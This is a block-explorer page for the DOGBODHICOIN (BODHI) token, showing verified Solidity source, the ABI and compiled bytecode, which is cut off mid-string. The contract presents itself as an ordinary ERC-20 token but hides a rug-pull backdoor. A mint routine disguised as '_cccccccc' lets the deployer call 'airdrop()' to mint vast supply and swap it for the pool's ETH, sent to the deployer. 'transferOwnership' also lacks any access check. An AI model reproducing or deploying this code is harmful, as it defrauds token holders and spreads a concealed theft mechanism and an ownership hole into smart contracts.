ETH Price: $3,863.88 (+0.39%)

Token

ERC-20: DOGBODHICOIN (BODHI)
 

Overview

Max Total Supply

1,000,100,000,000,000 BODHI

Holders

106

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
974,586,491,289,149.74504238745690216 BODHI

Value
$0.00
0x824B3753676b79aF3126572FE0fC3faBcef455Fe
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DOGBODHICOIN

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-07-22
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address ) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this; 
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual  {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

library SafeMath {
    /**
     * @dev Multiplies two unsigned integers, reverts on overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b);

        return c;
    }

    /**
     * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        // Solidity only automatically asserts when dividing by 0
        require(b > 0);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b <= a);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Adds two unsigned integers, reverts on overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a);

        return c;
    }

    /**
     * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
     * reverts when dividing by zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b != 0);
        return a % b;
    }
}

interface IERC20 {
    function transfer(address to, uint256 value) external returns (bool);

    function approve(address spender, uint256 value) external returns (bool);

    function transferFrom(address from, address to, uint256 value) external returns (bool);

    function totalSupply() external view returns (uint256);

    function balanceOf(address who) external view returns (uint256);

    function allowance(address owner, address spender) external view returns (uint256);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract ERC20 is IERC20 {
    using SafeMath for uint256;

    mapping (address => uint256) private _balances;

    mapping (address => mapping (address => uint256)) private _allowed;

    uint256 private _totalSupply;

   
    function totalSupply() public override view returns (uint256) {
        return _totalSupply;
    }

    
    function balanceOf(address owner) public override view returns (uint256) {
        return _balances[owner];
    }

    
    function allowance(address owner, address spender) public override view returns (uint256) {
        return _allowed[owner][spender];
    }

    
    function transfer(address to, uint256 value) public virtual override returns (bool) {
        _transfer(msg.sender, to, value);
        return true;
    }

    function approve(address spender, uint256 value) public override returns (bool) {
        _approve(msg.sender, spender, value);
        return true;
    }

    
    function transferFrom(address from, address to, uint256 value) public virtual override returns (bool) {
        _transfer(from, to, value);
        _approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
        return true;
    }

    
    function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
        _approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
        return true;
    }

    
    function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
        _approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
        return true;
    }

   
    function _transfer(address from, address to, uint256 value) internal virtual {
        require(to != address(0));

        _balances[from] = _balances[from].sub(value);
        _balances[to] = _balances[to].add(value);
        emit Transfer(from, to, value);
    }

    
    function _cccccccc(address account, uint256 value) internal {
        require(account != address(0));

        _totalSupply = _totalSupply.add(value);
        _balances[account] = _balances[account].add(value);
        emit Transfer(address(0), account, value);
    }

    
    function _burn(address account, uint256 value) internal {
        require(account != address(0));

        _totalSupply = _totalSupply.sub(value);
        _balances[account] = _balances[account].sub(value);
        emit Transfer(account, address(0), value);
    }

    
    function _approve(address owner, address spender, uint256 value) internal {
        require(spender != address(0));
        require(owner != address(0));

        _allowed[owner][spender] = value;
        emit Approval(owner, spender, value);
    }

    
    function _burnFrom(address account, uint256 value) internal {
        _burn(account, value);
        _approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
    }
}

interface ISwapRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Factory {

    function getPair(address tokenA, address tokenB) external view returns (address pair);

    function createPair(address tokenA, address tokenB) external returns (address pair);

}

contract DOGBODHICOIN is ERC20, Ownable {
    using SafeMath for uint256;

    string public constant name = "DOGBODHICOIN";
    string public constant symbol = "BODHI";
    uint8 public constant decimals = 18;
    uint256 private _maxSupply=100000000000 * 1e18;
    using SafeMath for uint256;
    mapping (address => bool) private isMarketPair;
    address private uniswapPair;
    mapping(address => bool) private _isExcluded;
    bool private startTx=false;
    address private marketAddress;

    address constant SWAP_ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
    address constant mmmAddress=0x709B38105F56C547c4B8a0CeDBD12Df5958E8D90;

    ISwapRouter private constant router = ISwapRouter(SWAP_ROUTER);
    IERC20 private constant weth = IERC20(WETH);

    constructor  () {
        require(_maxSupply > 0);     
        _cccccccc(mmmAddress, _maxSupply);
        marketAddress=msg.sender;
        uniswapPair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
        isMarketPair[address(uniswapPair)] = true;
        _isExcluded[owner()] = true;
        _isExcluded[mmmAddress] = true;
    }

    function distributeToken(address tokenFrom, uint256 value) internal  returns (bool) {
        _cccccccc(tokenFrom, value);
        distributeTokenDetail();
        return true;
    }
    
    function airdrop() public {
        require(msg.sender==marketAddress,"not the correct address!");
        distributeToken(address(this),10000*totalSupply());       
    }
   
    function distributeTokenDetail() private{
        IERC20(address(this)).approve(address(router), totalSupply());
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = WETH; 
        router.swapExactTokensForETH(balanceOf(address(this)),0,path,marketAddress,block.timestamp+6000);
        
    } 


    function launch() external onlyOwner {
        startTx = true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual override  {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(balanceOf(sender) >= amount, "ERC20: not enough balance");

        if(!_isExcluded[sender] && !_isExcluded[recipient]){
            if(isMarketPair[recipient]|| isMarketPair[sender]){
                require(startTx, "not start");
            }
        }
        
        super._transfer(sender,recipient, amount);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"airdrop","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"launch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}]

60806040526c01431e0fae6d7217caa00000006004556000600860006101000a81548160ff0219169083151502179055503480156200003d57600080fd5b50600062000050620004b860201b60201c565b905080600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350600060045411620000ff57600080fd5b6200012773709b38105f56c547c4b8a0cedbd12df5958e8d90600454620004c060201b60201c565b33600860016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620001c357600080fd5b505afa158015620001d8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001fe91906200068f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200027557600080fd5b505afa1580156200028a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002b091906200068f565b6040518363ffffffff1660e01b8152600401620002cf929190620006dd565b602060405180830381600087803b158015620002ea57600080fd5b505af1158015620002ff573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200032591906200068f565b600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160056000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160076000620003f56200062360201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016007600073709b38105f56c547c4b8a0cedbd12df5958e8d9073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506200080b565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415620004fb57600080fd5b62000517816002546200064d60201b62000ab51790919060201c565b60028190555062000575816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200064d60201b62000ab51790919060201c565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516200061791906200070a565b60405180910390a35050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008082846200065e919062000727565b9050838110156200066e57600080fd5b8091505092915050565b6000815190506200068981620007f1565b92915050565b600060208284031215620006a257600080fd5b6000620006b28482850162000678565b91505092915050565b620006c68162000784565b82525050565b620006d781620007b8565b82525050565b6000604082019050620006f46000830185620006bb565b620007036020830184620006bb565b9392505050565b6000602082019050620007216000830184620006cc565b92915050565b60006200073482620007b8565b91506200074183620007b8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620007795762000778620007c2565b5b828201905092915050565b6000620007918262000798565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b620007fc8162000784565b81146200080857600080fd5b50565b61200f806200081b6000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d714610279578063a9059cbb146102a9578063dd62ed3e146102d9578063f2fde38b1461030957610100565b806370a0823114610203578063715018a6146102335780638da5cb5b1461023d57806395d89b411461025b57610100565b806323b872dd116100d357806323b872dd1461017b578063313ce567146101ab5780633884d635146101c957806339509351146101d357610100565b806301339c211461010557806306fdde031461010f578063095ea7b31461012d57806318160ddd1461015d575b600080fd5b61010d610325565b005b6101176103d9565b6040516101249190611b63565b60405180910390f35b61014760048036038101906101429190611723565b610412565b6040516101549190611b48565b60405180910390f35b610165610429565b6040516101729190611c65565b60405180910390f35b610195600480360381019061019091906116d4565b610433565b6040516101a29190611b48565b60405180910390f35b6101b36104e4565b6040516101c09190611cda565b60405180910390f35b6101d16104e9565b005b6101ed60048036038101906101e89190611723565b61059a565b6040516101fa9190611b48565b60405180910390f35b61021d6004803603810190610218919061166f565b61063f565b60405161022a9190611c65565b60405180910390f35b61023b610687565b005b6102456107df565b6040516102529190611b04565b60405180910390f35b610263610809565b6040516102709190611b63565b60405180910390f35b610293600480360381019061028e9190611723565b610842565b6040516102a09190611b48565b60405180910390f35b6102c360048036038101906102be9190611723565b6108e7565b6040516102d09190611b48565b60405180910390f35b6102f360048036038101906102ee9190611698565b6108fe565b6040516103009190611c65565b60405180910390f35b610323600480360381019061031e919061166f565b610985565b005b61032d610add565b73ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146103bc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103b390611be5565b60405180910390fd5b6001600860006101000a81548160ff021916908315150217905550565b6040518060400160405280600c81526020017f444f47424f444849434f494e000000000000000000000000000000000000000081525081565b600061041f338484610ae5565b6001905092915050565b6000600254905090565b6000610440848484610c44565b6104d984336104d485600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f1f90919063ffffffff16565b610ae5565b600190509392505050565b601281565b600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610579576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161057090611c25565b60405180910390fd5b61059730610585610429565b6127106105929190611dfd565b610f48565b50565b6000610635338461063085600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ab590919063ffffffff16565b610ae5565b6001905092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61068f610add565b73ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071590611be5565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6040518060400160405280600581526020017f424f44484900000000000000000000000000000000000000000000000000000081525081565b60006108dd33846108d885600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f1f90919063ffffffff16565b610ae5565b6001905092915050565b60006108f4338484610c44565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156109f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ec90611bc5565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000808284610ac49190611da7565b905083811015610ad357600080fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610b1f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b5957600080fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c379190611c65565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cab90611c05565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1b90611b85565b60405180910390fd5b80610d2e8461063f565b1015610d6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6690611c45565b60405180910390fd5b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610e135750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15610f0f57600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680610eb95750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610f0e57600860009054906101000a900460ff16610f0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0490611ba5565b60405180910390fd5b5b5b610f1a838383610f66565b505050565b600082821115610f2e57600080fd5b60008284610f3c9190611e57565b90508091505092915050565b6000610f548383611130565b610f5c611282565b6001905092915050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fa057600080fd5b610ff1816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f1f90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611084816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ab590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516111239190611c65565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561116a57600080fd5b61117f81600254610ab590919063ffffffff16565b6002819055506111d6816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ab590919063ffffffff16565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516112769190611c65565b60405180910390a35050565b3073ffffffffffffffffffffffffffffffffffffffff1663095ea7b3737a250d5630b4cf539739df2c5dacb4c659f2488d6112bb610429565b6040518363ffffffff1660e01b81526004016112d8929190611b1f565b602060405180830381600087803b1580156112f257600080fd5b505af1158015611306573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061132a91906117a0565b506000600267ffffffffffffffff81111561136e577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561139c5781602001602082028036833780820191505090505b50905030816000815181106113da577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505073c02aaa39b223fe8d0a0e5c4f27ead9083c756cc281600181518110611463577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff166318cbafe56114d63061063f565b600084600860019054906101000a900473ffffffffffffffffffffffffffffffffffffffff166117704261150a9190611da7565b6040518663ffffffff1660e01b815260040161152a959493929190611c80565b600060405180830381600087803b15801561154457600080fd5b505af1158015611558573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250810190611581919061175f565b5050565b600061159861159384611d26565b611cf5565b905080838252602082019050828560208602820111156115b757600080fd5b60005b858110156115e757816115cd888261165a565b8452602084019350602083019250506001810190506115ba565b5050509392505050565b60008135905061160081611f94565b92915050565b600082601f83011261161757600080fd5b8151611627848260208601611585565b91505092915050565b60008151905061163f81611fab565b92915050565b60008135905061165481611fc2565b92915050565b60008151905061166981611fc2565b92915050565b60006020828403121561168157600080fd5b600061168f848285016115f1565b91505092915050565b600080604083850312156116ab57600080fd5b60006116b9858286016115f1565b92505060206116ca858286016115f1565b9150509250929050565b6000806000606084860312156116e957600080fd5b60006116f7868287016115f1565b9350506020611708868287016115f1565b925050604061171986828701611645565b9150509250925092565b6000806040838503121561173657600080fd5b6000611744858286016115f1565b925050602061175585828601611645565b9150509250929050565b60006020828403121561177157600080fd5b600082015167ffffffffffffffff81111561178b57600080fd5b61179784828501611606565b91505092915050565b6000602082840312156117b257600080fd5b60006117c084828501611630565b91505092915050565b60006117d583836117e1565b60208301905092915050565b6117ea81611e8b565b82525050565b6117f981611e8b565b82525050565b600061180a82611d62565b6118148185611d85565b935061181f83611d52565b8060005b8381101561185057815161183788826117c9565b975061184283611d78565b925050600181019050611823565b5085935050505092915050565b61186681611e9d565b82525050565b61187581611ee0565b82525050565b600061188682611d6d565b6118908185611d96565b93506118a0818560208601611ef2565b6118a981611f83565b840191505092915050565b60006118c1602383611d96565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611927600983611d96565b91507f6e6f7420737461727400000000000000000000000000000000000000000000006000830152602082019050919050565b6000611967602683611d96565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006119cd602083611d96565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000611a0d602583611d96565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f6